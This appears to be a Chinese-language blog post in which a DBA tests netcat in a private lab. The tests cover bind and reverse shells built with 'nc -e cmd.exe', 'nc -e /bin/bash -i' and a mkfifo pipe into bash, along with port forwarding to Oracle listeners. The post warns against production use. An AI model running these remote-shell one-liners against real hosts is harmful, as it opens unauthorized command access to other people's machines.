[20230309]nc reverse bash shell or cmd.exe(windows).txt
--//nc 是网络利器,以前曾经做过[20210908]Reverse Shell with Bash.txt=>http://blog.itpub.net/267265/viewspace-2790933/。
--//最近看了这方面内容,测试reserver bash shell or cmd.exe(windows)以及端口转发,代理:
1.环境:
--//首先找2,3台机器,千万不要在生产系统做这样的测试!!
192.168.100.78 linux (Oracle Linux Server release 5.9)
192.168.98.6 windows
192.168.100.235 linux (Red Hat Enterprise Linux Server release 7.5 )
--//注: 192.168.100.235 的nc版本高一些,支持更多的参数选择.另外我发现两台机器nc的来源不一样,做一下说明,我估计最新版本的机器
--//都是来自nmap包,支持的参数有一点点乱!!
--//192.168.100.78的nc版本.
$ rpm -qif $(which nc)
Name : nc Relocations: (not relocatable)
Version : 1.84 Vendor: Oracle USA
Release : 10.fc6 Build Date: Wed 06 Jun 2007 07:33:51 PM CST
Install Date: Fri 29 Aug 2014 09:27:41 PM CST Build Host: ca-build14
Group : Applications/Internet Source RPM: nc-1.84-10.fc6.src.rpm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Size : 111823 License: GPL
Signature : DSA/SHA1, Fri 08 Jun 2007 08:19:28 AM CST, Key ID 66ced3de1e5e0159
URL : http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/nc/
Summary : Reads and writes data across network connections using TCP or UDP.
--//192.168.100.235的nc版本.
$ rpm -qif $(which nc)
Name : nmap-ncat
Epoch : 2
Version : 6.40
Release : 13.el7
Architecture: x86_64
Install Date: Tue 10 Nov 2020 07:39:27 PM CST
Group : Applications/System
Size : 432699
License : GPLv2 and LGPLv2+ and GPLv2+ and BSD
Signature : RSA/SHA256, Sun 28 Jan 2018 09:04:52 PM CST, Key ID 72f97b74ec551f03
Source RPM : nmap-6.40-13.el7.src.rpm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Build Date : Sun 28 Jan 2018 09:04:38 PM CST
Build Host : x86-ol7-builder-01.us.oracle.com
Relocations : (not relocatable)
Vendor : Oracle America
URL : http://nmap.org/
Summary : Nmap's Netcat replacement
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--//新的版本作为nmap的一部分替换原来的nc版本.实际的执行程序名是ncat.
$ ls -l /usr/bin/nc /usr/bin/ncat
lrwxrwxrwx. 1 root root 4 2020-11-10 19:39:26 /usr/bin/nc -> ncat
-rwxr-xr-x. 1 root root 380224 2018-01-28 21:04:22 /usr/bin/ncat
--//为了测试方便两台linux机器建立管道文件/tmp/f,不再另外说明.
# mkfifo /tmp/f
# chmod 777 /tmp/f
--//windwos下的nc.exe可以在https://github.com/ph-cwtcwt/IT-tool/tree/代理穿透 下载.并设置好环境变量PATH,可以直接访问.
--//注:我使用杀毒软件将里面nc1.exe给清除了,感觉应该没有问题,因为我在别的机器尝试解压没有问题.
2.测试1:
--//windows的版本支持-e progname选项,连通后可以在其它机器上连接该机器.
--//192.168.98.6 windows
R:\>nc -l -p 1234 -t -e cmd.exe
--//或者
R:\>nc -l -p 1234 -e cmd.exe
--//192.168.100.78 linux
$ nc 192.168.98.6 1234
Microsoft Windows [版本 6.1.7600]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
R:\>dir
dir
驱动器 R 中的卷是 RAMDISK
卷的序列号是 0122-14E0
R:\ 的目录
2023/03/09 08:31 <DIR> log
2023/03/09 08:30 <DIR> TEMP
2023/03/09 08:24 <DIR> VDownload
1 个文件 859 字节
3 个目录 738,344,960 可用字节
--//执行命令有一个缺点,会回显执行的命令在执行,而且无法使用上下键选择命令的执行历史在执行.
--//还可以这样操作:
--//192.168.98.6 windows
R:\>nc -l -p 1234 -t -e "sqlplus scott/book@78"
--//192.168.100.78 linux 或者192.168.100.235 linux
$ nc 192.168.98.6 1234
...
SCOTT@78> @ ver1
PORT_STRING VERSION BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx 11.2.0.4.0 Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
SCOTT@78> host pwd
R:\
3.测试2:
--//反过来呢?我看了一下我的测试机器192.168.100.78,nc版本很低,许多参数没有,选择192.168.100.235测试.
--//192.168.100.235 linux
$ nc -l -p 1234 -e "/bin/bash -i "
--//或者
$ nc -l -p 1234 -t -e "/bin/bash -i "
--//192.168.100.78 linux
$ nc 192.168.100.235 1234
hostname
LIS-DB
ls -l
total 28
-rw-r--r--. 1 oracle oinstall 2639 Oct 14 10:39 fastlink.sh
-rw-r--r--. 1 oracle oinstall 5725 Nov 7 09:51 oalias.sh
-rw-r--r--. 1 oracle oinstall 5459 Oct 20 09:00 oalias.sh.20221024
-rw-r--r--. 1 oracle oinstall 4551 Oct 14 10:47 oalias.sh.bak
ll
--//执行命令有一个缺点,没有命令行提示符号,命令类似盲打.
--//注: 在windows下我无法实现,不知道原因,先暂时放一下.
--//192.168.98.6 windows
R:\> nc 192.168.100.235 1234
--//命令无效!!挂起!!
4.测试3:
--//也可以把命令反过来使用,效果是一样的.
--//192.168.100.78 linux
$ nc -l 1234
--//192.168.98.6 windows
R:\> nc 192.168.100.78 1234 -e cmd.exe
--//192.168.100.78 linux
$ nc -l 1234
Microsoft Windows [版本 6.1.7600]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
R:\>dir
dir
驱动器 R 中的卷是 RAMDISK
卷的序列号是 0122-14E0
R:\ 的目录
2023/03/10 08:39 <DIR> log
2023/03/10 08:38 <DIR> TEMP
2023/03/10 08:34 <DIR> VDownload
2010/11/30 08:29 859 zws.ppk
1 个文件 859 字节
3 个目录 774,134,784 可用字节
5.测试4:
--//192.168.100.78 linux
$ nc -l 1234
--//192.168.100.235 linux
$ nc 192.168.100.78 1234 -e '/bin/bash -i'
--//192.168.100.78 linux
$ nc -l 1234
hostname
LIS-DB
--//缺点就是命令给盲打,没有命令提示符,不支持tab,上下键选择命令.
6.测试5:
--//192.168.100.78 linux
$ mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -l 1234 > /tmp/f
--//我尝试从不同os连接.
--//192.168.98.6 windows
R:\> nc 192.168.100.78 1234
bash: no job control in this shell
--//PS1的提示出现乱码或者不对齐,不影响使用.提示bash: no job control in this shell,似乎一些bg,fg的命令无法使用.
--//实际上因为没有terminal的缘故.tty命令显示no tty. 这样vim之类的编辑软件是不能用的.
--//192.168.100.235 linux
$ nc 192.168.100.78 1234
--//命令会回显,但是显示效果很好,也可以使用tab键以及上下键,但是显示乱码,执行是正常的,基本就是属于盲打.
7.测试6(测试端口转发):
--//192.168.100.78 linux
$ nc -k -l 1234 < /tmp/f | nc 192.168.100.235 1521 > /tmp/f
--//或者
$ nc -l 1234 < /tmp/f | nc 192.168.100.235 1521 > /tmp/f
--//相当于访问192.168.100.78的1234端口就是访问192.168.100.235的1521端口.
--//-k 的作用相当我不是很理解,client退出后还保持打开状态.但是重新发起连接会断开.
--//-k 参数要配合 -m 参数,不过这个版本不支持-m参数.
--//另外我发现nc的参数非常不一致,一些版本-m的意思不同.
--//一个变态的写法写成死循环:
--//192.168.100.78 linux
$ while :; do nc -l 1234 < /tmp/f | nc 192.168.100.235 1521 > /tmp/f ; done
--//192.168.98.6 windows
R:\>sqlplus sys/[email protected]:1234/orcl as sysdba
..
[email protected]:1234/orcl> @ ver1
[email protected]:1234/orcl> @ prxx_win
==============================
PORT_STRING : x86_64/Linux 2.4.xx
VERSION : 19.0.0.0.0
BANNER : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
BANNER_FULL : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.3.0.0.0
BANNER_LEGACY : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
CON_ID : 0
PL/SQL procedure successfully completed.
--//当然你别指望同时开启多个会话.
8.测试7(测试端口转发):
--//192.168.100.235 linux
--//该机器nc版本较新,支持许多新的参数选择.比如-c 参数.
$ nc -l -p 1234 -c 'nc 192.168.100.78 1521'
--//相当于将192.168.100.235 的1234端口映射到192.168.100.78 1521.
--//192.168.100.78 linux
$ sqlplus -s -l scott/[email protected]:1234/book <<< @ver1
PORT_STRING VERSION BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx 11.2.0.4.0 Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
--//缺点是这样的写法仅仅连接一次,退出后再重新连接无效!!可以像上面那样写一个死循环.
--//192.168.100.235 linux
$ while :; do nc -l -p 1234 -c 'nc 192.168.100.78 1521' ; done
--//或者写成如下,写成如下可以连接5次.
$ seq 5 | xargs -IQ bash -c "nc -l -p 1234 -c 'nc 192.168.100.78 1521'"
9.总结:
--//全当作学习一些网络知识,了解增加nc的使用技巧,不要在生产系统做这类测试!!
--//另外我发现一些命令参数各个版本意思不一致,有点混乱.
--//一些版本-l -p 不能一起使用,有一些可以等等.
10.补充:
--//在结束测试前我粗略浏览nc文档,较新的nc版本-k要和-m配合:
--//192.168.100.235 linux
$ nc -k -m 5 -l -p 1234 -c 'nc 192.168.100.78 1521'
--//这样可以实现5个连接没有任何问题,同时开启5个会话没有问题.
--//不管如何操作,先打开监听,然后在启动连接.nc应用非常灵活.我仅仅学习nc的冰上一角.
--//另外在测试4中命令盲打的问题,我找到一个链接:https://www.infosecademy.com/netcat-reverse-shells/可以很好解决这个问题,
--//另外写一篇blog.